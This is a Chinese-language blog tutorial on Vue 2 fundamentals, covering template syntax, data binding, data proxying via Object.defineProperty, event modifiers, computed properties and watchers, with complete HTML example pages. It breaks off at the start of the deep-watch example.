Vue核心知识

Posted on Edited on In , Views: Word count in article: 67k Reading time ≈ 1:01

1、Vue简介

  • Vue是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue被设计为可以自底向上逐层应用。Vue的核心库只关注视图层，不仅易于上手，还便于与第三方库或既有项目整合。另一方面，当与现代化的工具链以及各种支持类库结合使用时，Vue也完全能够为复杂的单页应用提供驱动。

  • Vue的特点：

    • ①采用组件化模式，提高代码复用率，且让代码更好维护。
{% asset_img 1639372269843.png 1639372269843 %}

  • ②声明式编码，让编码人员无需直接操作DOM，提高开发效率。

  • ③使用虚拟DOM+优秀的Diff算法，尽量复用DOM节点。

2、Vue核心

2.1 初识vue

  • ①在https://cn.vuejs.org/v2/guide/installation.html#Vue-Devtools下载开发版本的js文件。将此文件导入项目，创建html文件并引入该js。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Document</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
    </body>
    </html>

  • ②使用浏览器打开该html文件，按F12打开开发者工具后会出现两个提示：

    • 在谷歌浏览器扩展商店中安装vue-devtools插件，并在详情页中打开“允许访问文件网址”项即可解决第一个提示信息(devtools插件需要与VScode的Live Server插件配合使用)。

      1639376869271

    • Vue的全局配置信息在Vue.config对象中，可以写个脚本将其中的productionTip设置为false以阻止vue在启动时生成生产提示，即可解决第二个提示信息。

      1
      2
      3
      <script type="text/javascript" >
          Vue.config.productionTip = false // 阻止vue在启动时生成生产提示
      </script>

  • ③创建vue实例并使用。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    <!DOCTYPE html>
    <html lang="en">

    <head>
        <meta charset="UTF-8">
        <title>Document</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>

    <body>
        <!-- 
    			初识Vue：
    				1.想让Vue工作，就必须创建一个Vue实例，且要传入一个配置对象；
    				2.root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法；
    				3.root容器里的代码被称为【Vue模板】；
    				4.Vue实例和容器是一一对应的；
    				5.真实开发中只有一个Vue实例，并且会配合着组件一起使用；
    				6.{{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性；
    				7.一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新；

    				注意区分：js表达式 和 js代码(语句)
    						1.表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：
    									(1). a
    									(2). a+b
    									(3). demo(1)
    									(4). x === y ? 'a' : 'b'

    						2.js代码(语句)
    									(1). if(){}
    									(2). for(){}
    		-->
        <!-- 准备好一个容器 -->
        <div id="demo">
            <h1>Hello，{{name.toUpperCase()}}，{{address}}</h1>
        </div>
        <script type="text/javascript">
            Vue.config.productionTip = false // 阻止vue在启动时生成生产提示
            //创建Vue实例
            new Vue({
                el: '#demo', // el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串(也可以换成原生写法document.getElementById('demo'))。
                data: { // data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。
                    name: 'zhu',
                    address: 'shantou'
                }
            })
        </script>
    </body>

    </html>
    1639378301611

    可以用devtools插件看到Vue实例的详细信息。

2.2 模板语法

  • html中包含了一些JS语法代码，语法分为两种，分别为：

    • 插值语法（双大括号表达式），用于解析标签体内容。
    • 指令（以 v-开头），用于解析标签属性、解析标签体内容、绑定事件。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>模板语法</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 
    				Vue模板语法有2大类：
    					1.插值语法：
    							功能：用于解析标签体内容。
    							写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。
    					2.指令语法：
    							功能：用于解析标签（包括：标签属性、标签体内容、绑定事件.....）。
    							举例：v-bind:href="xxx" 或  简写为 :href="xxx"，xxx同样要写js表达式，
    									 且可以直接读取到data中的所有属性。
    							备注：Vue中有很多的指令，且形式都是：v-????，此处我们只是拿v-bind举个例子。

    		 -->
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h1>插值语法</h1>
    			<h3>你好，{{name}}</h3>
    			<hr/>
    			<h1>指令语法</h1>
    			<a v-bind:href="own.url.toUpperCase()" v-bind:x="hello">点我去{{own.name}}学习</a>
                <!-- v-bind:可以简写为: -->
    			<a :href="own.url" :x="hello">点我去{{own.name}}学习</a>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。

    		new Vue({
    			el:'#root',
    			data:{
    				name:'zhu',
    				own:{
    					name:'个人博客',
    					url:'http://perfectcode.top',
    				},
                    hello:'你好'
    			}
    		})
    	</script>
    </html>
    1639380887099

2.3 数据绑定

  • 单向数据绑定：
    • 语法为v-bind:href ="xxx"或简写为:href。
    • 数据只能从data流向页面。
  • 双向数据绑定：
    • 语法为v-model:value="xxx"或简写为v-model="xxx"。
    • 数据不仅能从data流向页面，还能从页面流向data。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>数据绑定</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			Vue中有2种数据绑定的方式：
					1.单向绑定(v-bind)：数据只能从data流向页面。
					2.双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data。
						备注：
								1.双向绑定一般都应用在表单类元素上（如：input、select等）
								2.v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 普通写法 -->
			<!-- 单向数据绑定：<input type="text" v-bind:value="name"><br/>
			双向数据绑定：<input type="text" v-model:value="name"><br/> -->

			<!-- 简写 -->
			单向数据绑定：<input type="text" :value="name"><br/>
			双向数据绑定：<input type="text" v-model="name"><br/>

			<!-- 如下代码是错误的，因为v-model只能应用在表单类元素（输入类元素）上 -->
			<!-- <h2 v-model:x="name">你好啊</h2> -->
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'个人博客'
			}
		})
	</script>
</html>

2.4 el与data的两种写法

  • el有2种写法：

    • ①.new Vue时候配置el属性。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <script type="text/javascript">
          const v = new Vue({
              el:'#root',
              data:{
                  name:'zhu'
              }
          })
          console.log(v)
      </script>

    • ②先创建Vue实例，随后再通过vm.$mount('#root')指定el的值。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      <script type="text/javascript">
          const v = new Vue({
              data:{
                  name:'zhu'
              }
          })
          console.log(v)
          v.$mount('#root')
      </script>

  • data有2种写法：

    • ①对象式。

      1
      2
      3
      4
      5
      6
      7
      8
      <script type="text/javascript">
          new Vue({
          	el:'#root',
          	data:{
              	name:'zhu'
          	}
      	})
      </script>

    • ②函数式。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      <script type="text/javascript">
          new Vue({
          	el:'#root',
          	data(){
              	console.log(this) //此处的this是Vue实例对象，如果使用箭头式写法(data:()=>{})则this会向外指向全局的Window对象
                  // 由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了
              	return{
                  	name:'zhu'
              	}
          	}
      	})
      </script>

2.5 MVVM模型

  • 虽然没有完全遵循MVVM模型，但是Vue的设计也受到了它的启发。因此在文档中经常会使用vm (ViewModel的缩写) 这个变量名表示Vue实例。

    • M：模型(Model) ：对应data中的数据。
    • V：视图(View) ：模板。
    • VM：视图模型(ViewModel) ： Vue实例对象。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>理解MVVM</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 
    			MVVM模型
    						1. M：模型(Model) ：data中的数据
    						2. V：视图(View) ：模板代码
    						3. VM：视图模型(ViewModel)：Vue实例
    			观察发现：
    						1.data中所有的属性，最后都出现在了vm身上。
    						2.vm身上所有的属性 及 Vue原型上所有属性，在Vue模板中都可以直接使用。
    		-->
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h1>学校名称：{{name}}</h1>
    			<h1>学校地址：{{address}}</h1>
    			<h1>测试一下1：{{1+1}}</h1>
    			<h1>测试一下2：{{$options}}</h1>
    			<h1>测试一下3：{{$emit}}</h1>
    			<h1>测试一下4：{{_c}}</h1>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。

    		const vm = new Vue({
    			el:'#root',
    			data:{
    				name:'gzmtu',
    				address:'guangzhou',
    			}
    		})
    		console.log(vm)
    	</script>
    </html>

2.6 数据代理

Object.defineproperty

  • Object.defineproperty可以给对象添加属性，默认添加的属性信息不可被遍历、修改以及删除，但可通过修改其内置属性来实现。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>Object.defineproperty方法</title>
    	</head>
    	<body>
    		<script type="text/javascript" >
    			let number = 18
    			let person = {
    				name:'张三',
    				sex:'男',
    			}

    			Object.defineProperty(person,'age',{
    				value:18,
    				enumerable:true, //控制属性是否可以枚举，默认值是false
    				writable:true, //控制属性是否可以被修改，默认值是false
    				configurable:true //控制属性是否可以被删除，默认值是false
    			})
    			// console.log(Object.keys(person))
    			console.log(person)
    		</script>
    	</body>
    </html>
    1639471402043

  • 也可以通过Object.defineproperty动态给属性赋值，例如如果添加的属性值是由另一个变量赋值的，可以实现当那个变量值修改时，此属性值实时修改。

    • 获取最新的数据值利用getter，getter动态返回最新的number值。
    • 更新属性值利用setter，setter收到最新修改的值并赋予number变量。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>回顾Object.defineproperty方法</title>
    	</head>
    	<body>
    		<script type="text/javascript" >
    			let number = 18
    			let person = {
    				name:'张三',
    				sex:'男',
    			}

    			Object.defineProperty(person,'age',{
    				// 当有人读取person的age属性时，get函数(getter)就会被调用，且返回值就是age的值
    				get(){
    					console.log('有人读取age属性了')
    					return number
    				},

    				//当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值
    				set(value){
    					console.log('有人修改了age属性，且值是',value)
    					number = value
    				}

    			})
    			// console.log(Object.keys(person))
    			console.log(person)
    		</script>
    	</body>
    </html>
    1639472407085

    此时number和对象里的age属性值是双向绑定的。

    1639472543819

数据代理

  • 数据代理的定义是通过一个对象代理对另一个对象中属性的操作（读/写）。最简单的数据代理可以用Object.defineproperty实现。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>数据代理</title>
    	</head>
    	<body>
    		<!-- 数据代理：通过一个对象代理对另一个对象中属性的操作（读/写）-->
    		<script type="text/javascript" >
    			let obj = {x:100}
    			let obj2 = {y:200}

    			Object.defineProperty(obj2,'x',{
    				get(){
    					return obj.x
    				},
    				set(value){
    					obj.x = value
    				}
    			})
    		</script>
    	</body>
    </html>
    1639472917697

  • Vue的数据双向绑定原理就是利用了getter和setter方法。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>Vue中的数据代理</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 
    				1.Vue中的数据代理：
    							通过vm对象来代理data对象中属性的操作（读/写）
    				2.Vue中数据代理的好处：
    							更加方便的操作data中的数据
    				3.基本原理：
    							通过Object.defineProperty()把data对象中所有属性添加到vm上。
    							为每一个添加到vm上的属性，都指定一个getter/setter。
    							在getter/setter内部去操作（读/写）data中对应的属性。
    		 -->
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>学校名称：{{name}}</h2>
    			<h2>学校地址：{{address}}</h2>
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。
    		
    		const vm = new Vue({
    			el:'#root',
    			data:{
    				name:'gzmtu',
    				address:'guangzhou'
    			}
    		})
    	</script>
    </html>

    Vue把data的信息放在_data属性上。

  • Vue的数据代理原理图示如下：

2.7 事件处理

2.7.1 绑定监听

  • 使用v-on:xxx或@xxx绑定事件，其中xxx是事件名。

  • 事件的回调需要配置在methods对象中，最终会在vm上。

  • methods中配置的函数，不要用箭头函数，否则this就不是vm了。

  • methods中配置的函数，都是被Vue所管理的函数，this的指向是vm或组件实例对象。

  • @click="demo"和@click="demo($event)"效果一致，但后者可以传参。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>事件的基本使用</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>欢迎来到{{name}}学习</h2>
    			<!-- <button v-on:click="showInfo">点我提示信息</button> -->
    			<button @click="showInfo1">点我提示信息1（不传参）</button>
    			<button @click="showInfo2($event,66)">点我提示信息2（传参）</button>
    		</div>
    	</body>

    	<script type="text/javascript">
    		const vm = new Vue({
    			el:'#root',
    			data:{
    				name:'个人博客',
    			},
    			methods:{
    				showInfo1(event){
    					// console.log(event.target.innerText)
    					// console.log(this) //此处的this是vm
    					alert('同学你好！')
    				},
    				showInfo2(event,number){
    					console.log(event,number)
    					// console.log(event.target.innerText)
    					// console.log(this) //此处的this是vm
    					alert('同学你好！！')
    				}
    			}
    		})
    	</script>
    </html>

2.7.2 事件修饰符

  • Vue中的事件修饰符：

    • prevent：阻止默认事件（常用）。
    • stop：阻止事件冒泡（常用）。
    • once：事件只触发一次（常用）。
    • capture：使用事件的捕获模式。
    • self：只有event.target是当前操作的元素时才触发事件。
    • passive：事件的默认行为立即执行，无需等待事件回调执行完毕。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>事件修饰符</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    		<style>
    			*{
    				margin-top: 20px;
    			}
    			.demo1{
    				height: 50px;
    				background-color: skyblue;
    			}
    			.box1{
    				padding: 5px;
    				background-color: skyblue;
    			}
    			.box2{
    				padding: 5px;
    				background-color: orange;
    			}
    			.list{
    				width: 200px;
    				height: 200px;
    				background-color: peru;
    				overflow: auto;
    			}
    			li{
    				height: 100px;
    			}
    		</style>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>欢迎来到{{name}}学习</h2>
    			<!-- 阻止默认事件（常用） -->
    			<a href="https://perfectcode.top" @click="showInfo1">点我提示信息：阻止默认事件(old)</a>
    			<a href="https://perfectcode.top" @click.prevent="showInfo2">点我提示信息：阻止默认事件(new)</a>

    			<!-- 阻止事件冒泡（常用） -->
    			<div class="demo1" @click="showInfo3">
    				<button @click="showInfo4">点我提示信息：阻止事件冒泡(old)</button>
    				<button @click.stop="showInfo5">点我提示信息：阻止事件冒泡(new)</button>
    				<!-- 修饰符可以连续写 -->
    				<!-- <a href="https://perfectcode.top" @click.prevent.stop="showInfo">点我提示信息</a> -->
    			</div>

    			<!-- 事件只触发一次（常用） -->
    			<button @click.once="showInfo6">点我提示信息：事件只触发一次</button>

    			<!-- 使用事件的捕获模式 -->
    			<div class="box1" @click.capture="showMsg(1)">
    				div1
    				<div class="box2" @click="showMsg(2)">
    					div2
    				</div>
    			</div>

    			<!-- 只有event.target是当前操作的元素时才触发事件； -->
    			<div class="demo1" @click.self="showInfo7">
    				<button @click="showInfo7">点我提示信息：只有event.target是当前操作的元素时才触发事件</button>
    			</div>

    			<!-- 事件的默认行为立即执行，无需等待事件回调执行完毕； -->
    			<ul @wheel.passive="demo" class="list">
    				<li>1</li>
    				<li>2</li>
    				<li>3</li>
    				<li>4</li>
    			</ul>

    		</div>
    	</body>

    	<script type="text/javascript">
    		new Vue({
    			el:'#root',
    			data:{
    				name:'zhu'
    			},
    			methods:{
    				showInfo1(e){
    					e.preventDefault();
    					alert('同学你好！')
    					// console.log(e.target)
    				},
    				showInfo2(e){
    					alert('同学你好！')
    				},
    				showInfo3(e){
    					alert('同学你好！')
    				},
    				showInfo4(e){
    					e.stopPropagation();
    					alert('同学你好！')
    				},
    				showInfo5(e){
    					alert('同学你好！')
    				},
    				showInfo6(e){
    					alert('同学你好！')
    				},
    				showMsg(msg){
    					console.log(msg)
    				},
    				showInfo7(e){
    					alert('同学你好！')
    				},
    				demo(){
    					for (let i = 0; i < 1000; i++) {
    						console.log('#')
    					}
    					console.log('累坏了')
    				}
    			}
    		})
    	</script>
    </html>

2.7.3 键盘事件

  • Vue中常用的按键别名：

    • 回车 => enter
    • 删除 => delete (捕获“删除”和“退格”键)
    • 退出 => esc
    • 空格 => space
    • 换行 => tab (特殊，必须配合keydown去使用)
    • 上 => up
    • 下 => down
    • 左 => left
    • 右 => right

  • Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名），例如CapsLock=>caps-lock。

  • 系统修饰键（用法特殊）：ctrl、alt、shift、meta。

    • 配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。
    • 配合keydown使用：正常触发事件。

  • 也可以使用keyCode去指定具体的按键（不推荐）。

  • Vue.config.keyCodes.自定义键名=键码，可以去定制按键别名。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    <!DOCTYPE html>
    <html>
    	<head>
    		<meta charset="UTF-8" />
    		<title>键盘事件</title>
    		<!-- 引入Vue -->
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<!-- 准备好一个容器-->
    		<div id="root">
    			<h2>欢迎来到{{name}}学习</h2>
    			<input type="text" placeholder="按下任意键并抬起后提示输入" @keyup="showInfo2">
    			<input type="text" placeholder="按下回车并抬起后提示输入" @keyup.enter="showInfo1">
    			<input type="text" placeholder="按下回车并抬起后提示输入" @keyup.13="showInfo2"><!-- 该方式可能被某些浏览器废弃，因为不同键盘的编码可能不一致 -->
    			<input type="text" placeholder="按下CapsLock键并抬起后提示输入" @keyup.caps-lock="showInfo2">
    			<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo2">
    		</div>
    	</body>

    	<script type="text/javascript">
    		Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

    		new Vue({
    			el:'#root',
    			data:{
    				name:'zhu'
    			},
    			methods: {
    				showInfo1(e){
    					if(e.keyCode !== 13){
    						return;
    					}
    					console.log(e.target.value)
    				},
    				showInfo2(e){
    					//console.log(e.key,e.keyCode);//输出Enter 13
    					console.log(e.target.value)
    				}
    			},
    		})
    	</script>
    </html>

2.8 计算属性

  • 现在要实现个姓名案例，效果如下：

    • 插值语法实现。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      <!DOCTYPE html>
      <html>
      	<head>
      		<meta charset="UTF-8" />
      		<title>姓名案例_插值语法实现</title>
      		<!-- 引入Vue -->
      		<script type="text/javascript" src="../js/vue.js"></script>
      	</head>
      	<body>
      		<!-- 准备好一个容器-->
      		<div id="root">
      			姓：<input type="text" v-model="firstName"> <br/><br/>
      			名：<input type="text" v-model="lastName"> <br/><br/>
      			全名：<span>{{firstName}}-{{lastName}}</span>
      		</div>
      	</body>

      	<script type="text/javascript">
      		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。

      		new Vue({
      			el:'#root',
      			data:{
      				firstName:'张',
      				lastName:'三'
      			}
      		})
      	</script>
      </html>

    • _methods实现，只要data中的属性值改变，Vue就会重新解析模板。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      <!DOCTYPE html>
      <html>
      	<head>
      		<meta charset="UTF-8" />
      		<title>姓名案例_methods实现</title>
      		<!-- 引入Vue -->
      		<script type="text/javascript" src="../js/vue.js"></script>
      	</head>
      	<body>
      		<!-- 准备好一个容器-->
      		<div id="root">
      			姓：<input type="text" v-model="firstName"> <br/><br/>
      			名：<input type="text" v-model="lastName"> <br/><br/>
      			全名：<span>{{fullName()}}</span>
      		</div>
      	</body>

      	<script type="text/javascript">
      		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。

      		new Vue({
      			el:'#root',
      			data:{
      				firstName:'张',
      				lastName:'三'
      			},
      			methods: {
      				fullName(){
      					return this.firstName + '-' + this.lastName
      				}
      			},
      		})
      	</script>
      </html>

    • 计算属性实现。计算属性即要用的属性不存在，要通过已有属性计算得来。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      <!DOCTYPE html>
      <html>
      	<head>
      		<meta charset="UTF-8" />
      		<title>姓名案例_计算属性实现</title>
      		<!-- 引入Vue -->
      		<script type="text/javascript" src="../js/vue.js"></script>
      	</head>
      	<body>
      		<!-- 
      			计算属性：
      					1.定义：要用的属性不存在，要通过已有属性计算得来。
      					2.原理：底层借助了Objcet.defineproperty方法提供的getter和setter。
      					3.get函数什么时候执行？
      								(1).初次读取时会执行一次。
      								(2).当依赖的数据发生改变时会被再次调用。
      					4.优势：与methods实现相比，内部有缓存机制（复用），效率更高，调试方便。
      					5.备注：
      							1.计算属性最终会出现在vm上，直接读取使用即可。
      							2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。
      		 -->
      		<!-- 准备好一个容器-->
      		<div id="root">
      			姓：<input type="text" v-model="firstName"> <br/><br/>
      			名：<input type="text" v-model="lastName"> <br/><br/>
      			全名：<span>{{fullName}}</span> <br/><br/>
      			<!-- 全名：<span>{{fullName}}</span> <br/><br/>
      			全名：<span>{{fullName}}</span> <br/><br/>
      			全名：<span>{{fullName}}</span> -->
      		</div>
      	</body>

      	<script type="text/javascript">
      		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。

      		const vm = new Vue({
      			el:'#root',
      			data:{
      				firstName:'张',
      				lastName:'三'
      			},
      			methods: {
      				demo(){
      					
      				}
      			},
      			computed:{
      				fullName:{
      					//当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
      					//get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。
      					get(){
      						console.log('get被调用了')
      						// console.log(this) //此处的this是vm
      						return this.firstName + '-' + this.lastName
      					},
      					//set什么时候调用? 当fullName被修改时。
      					set(value){
      						console.log('set',value)
      						const arr = value.split('-')
      						this.firstName = arr[0]
      						this.lastName = arr[1]
      					}
      				}
      				//简写方式，注意只能在不考虑setter的情况下才可使用
                      /*fullName(){
      					console.log('get被调用了')
      					return this.firstName + '-' + this.lastName
      				} */
      			}
      		})
      	</script>
      </html>

2.9 监视属性

  • 现在要实现个天气案例，效果如下：

    • 用之前学过的事件监听实现：

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      <!DOCTYPE html>
      <html>
      	<head>
      		<meta charset="UTF-8" />
      		<title>天气案例</title>
      		<!-- 引入Vue -->
      		<script type="text/javascript" src="../js/vue.js"></script>
      	</head>
      	<body>
      		<!-- 准备好一个容器-->
      		<div id="root">
      			<h2>今天天气很{{info}}</h2>
      			<!-- 绑定事件的时候：@xxx="yyy" yyy可以写一些简单的语句 -->
      			<!-- <button @click="isHot = !isHot">切换天气</button> -->
      			<button @click="changeWeather">切换天气</button>
      		</div>
      	</body>

      	<script type="text/javascript">
      		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。
      		
      		const vm = new Vue({
      			el:'#root',
      			data:{
      				isHot:true,
      			},
      			computed:{
      				info(){
      					return this.isHot ? '炎热' : '凉爽'
      				}
      			},
      			methods: {
      				changeWeather(){
      					this.isHot = !this.isHot
      				}
      			},
      		})
      	</script>
      </html>

    • 使用监视属性watch，watch可以监视data属性和计算属性。 即通过通过vm对象的$watch()或watch配置来监视指定的属性，当属性变化时, 回调函数自动调用，在函数内部进行计算。 

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      <!DOCTYPE html>
      <html>
      	<head>
      		<meta charset="UTF-8" />
      		<title>天气案例_监视属性</title>
      		<!-- 引入Vue -->
      		<script type="text/javascript" src="../js/vue.js"></script>
      	</head>
      	<body>
      		<!-- 
      				监视属性watch：
      					1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作
      					2.监视的属性必须存在，才能进行监视！！
      					3.监视的两种写法：
      							(1).new Vue时传入watch配置
      							(2).通过vm.$watch监视
      		 -->
      		<!-- 准备好一个容器-->
      		<div id="root">
      			<h2>今天天气很{{info}}</h2>
      			<button @click="changeWeather">切换天气</button>
      		</div>
      	</body>

      	<script type="text/javascript">
      		Vue.config.productionTip = false // 阻止vue在启动时生成生产提示。
      		
      		const vm = new Vue({
      			el:'#root',
      			data:{
      				isHot:true,
      			},
      			computed:{
      				info(){
      					return this.isHot ? '炎热' : '凉爽'
      				}
      			},
      			methods: {
      				changeWeather(){
      					this.isHot = !this.isHot
      				}
      			},
      			/* watch:{
      				isHot:{
      					immediate:true, //初始化时让handler调用一下
      					//handler什么时候调用？当isHot发生改变时。
      					handler(newValue,oldValue){
      						console.log('isHot被修改了',newValue,oldValue)
      					}
      				}
      				//简写
      		    	/* isHot(newValue,oldValue){
      					console.log('isHot被修改了',newValue,oldValue,this)
      				} */
      			}
      		})

      		vm.$watch('isHot',{
      			immediate:true, //初始化时让handler调用一下
      			//handler什么时候调用？当isHot发生改变时。
      			handler(newValue,oldValue){
      				console.log('isHot被修改了',newValue,oldValue)
      			}
      		})
              //简写
      		/* vm.$watch('isHot',(newValue,oldValue)=>{
      			console.log('isHot被修改了',newValue,oldValue,this)
      		}) */
              /* vm.$watch('isHot',function(newValue,oldValue){
      			console.log('isHot被修改了',newValue,oldValue,this)
      		}) */
      	</script>
      </html>

    • 深度监视。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
